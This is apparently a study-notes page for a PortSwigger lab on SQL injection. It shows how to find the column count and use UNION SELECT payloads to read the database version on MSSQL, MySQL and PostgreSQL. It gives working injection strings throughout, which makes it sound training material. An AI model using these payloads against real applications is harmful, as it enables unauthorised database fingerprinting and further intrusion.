> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/identifying-dbms-version-mysql-mssql-postgresql.md).

# DBMS Version Detection (MySQL, MSSQL, PostgreSQL)

DBMS Version Detection (MySQL, MSSQL, PostgreSQL) notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft

* **Context / Vulnerability:** `category` filter vulnerable to SQL injection; application concatenates the user value in `WHERE` clause. Using `ORDER BY` / `UNION` allows enumeration of the number of columns and then extract a version value.
* **Goal:** show the DBMS release string.
* **Quick Methodology:**

1. **Determine the number of columns**:/ Payload:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* (increment the index until it causes an error to find the exact number of columns).

2. **Validate UNION** (choose a `UNION SELECT` with the same number of columns): / Minimum example 2 columns:

   ```sql
   ' UNION SELECT '1','2'-- -
   ```
3. **Recover version** — use the function/variable adapted to the engine.

**Target payloads:**

* **Microsoft SQL Server (MSSQL)** — system variable: `@@version`

  ````
      ```sql
      ' UNION SELECT '1', @@version-- -
      ```
  *   **MySQL** — function: `version()` (or variable `@@version`)

      ```sql
      ' UNION SELECT '1', version()-- -
      ' UNION SELECT '1', @@version-- -
      ```
  *   **PostgreSQL** — function: `version()`

      ```sql
      ' UNION SELECT '1', version()-- -
      ```
  ````

> Adjust the number of columns and order of columns according to the vulnerable query (e.g. UNION SELECT NULL, version() if different types). Use NULL for columns whose type should not match if necessary.

* **Interpretation:** The page will display the string returned by `@@version` / `version()` (e.g. `Microsoft SQL Server 2019 (RTM) - 15.x...`, `5.7.33-0ubuntu0.18.04.1`, `PostgreSQL 13.3 on x86_64-...`), allowing for the fingerprinting of the DBMS.
* **Impact:** information disclosure useful for targeting version-specific exploits, increased risk of subsequent attacks.


---

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